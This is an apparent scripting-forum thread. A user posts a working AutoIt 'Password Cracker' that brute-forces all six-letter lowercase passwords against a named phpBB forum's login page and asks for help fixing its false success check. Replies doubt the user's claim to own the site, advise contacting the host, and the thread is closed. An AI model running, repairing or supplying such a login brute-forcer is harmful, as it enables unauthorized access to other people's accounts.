Jump to content
Sign in to follow this  
keen

Help

Recommended Posts

Can you tell me whats wrong with this? It's telling me that the password is aaaaaa but its not. Why is it doing this:

;#NoTrayIcon
#Include <IE.au3>

$sLogin = InputBox("Password Cracker", "User Name:", "", "", 200, 200)
If @error Then Exit

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "no")
Global $oIE = _IECreate("http://www.phpbb88.com/keenkids/login.php?mforum=keenkids", 0, 1)
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Display Inline Images", "REG_SZ", "yes")

HotKeySet("{INSERT}", "_Exit")
Opt("OnExitFunc", "_Exit")

For $1 = 97 To 122
$l1 = Chr($1)

For $2 = 97 To 122
 $l2 = Chr($2)
 
 For $3 = 97 To 122
 $l3 = Chr($3)
 
 For $4 = 97 To 122
 $l4 = Chr($4)
 
 For $5 = 97 To 122
 $l5 = Chr($5)
 
 For $6 = 97 To 122
 $l6 = Chr($6)

 Attempt($l6 & $l5 & $l4 & $l3 & $l2 & $l1)
Next
Next
Next
Next
Next
Next

Func Attempt($sAttempt)
$oForm =  _IEFormGetCollection($oIE, 0)
$oLogin = _IEFormElementGetObjByName($oForm, "UserName")
$oPass = _IEFormElementGetObjByName($oForm, "PassWord")
       $oSend = _IEGetObjByName($oIE, "submit")

_IEFormElementSetValue($oLogin, $sLogin)
_IEFormElementSetValue($oPass, $sAttempt)

ToolTip("Attempting: " & $sAttempt, 0, 0)

_IEAction($oSend, "click")
_IELoadWait($oIE)

If LoginSucces() = 1 Then
 _IEQuit($oIE)
 MsgBox(0, "Cracked: ", "Username: " & $sLogin & @CRLF & "Password: " & $sAttempt)
 Exit
Else
 Return 0
EndIf
EndFunc

Func LoginSucces()
If Not StringInStr(_IEBodyReadHTML($oIE), "You have specified an incorrect or inactive username, or an invalid password.") Then
 Return 1
Else
 Return 0
EndIf
EndFunc

Func _Exit()
_IEQuit($oIE)
Exit
EndFunc

Thanks in advance.


[center]Kesne's Bar & Grill[/center]

Share this post


Link to post
Share on other sites

Its my website. I forgot the password.

So call the server and have them reset it ... it would take far less time then trying to bruteforce it with autoit.

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Share this post


Link to post
Share on other sites

How hard is it to put in a fictitious url? I mean c'mon!

You're saying you called the server of your "site" and they can't reset the password for you... that's just plain stupid... (either on their part for not being able to, or yours for A.) using them B.) wanting us to believe it.


Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  

×
×
  • Create New...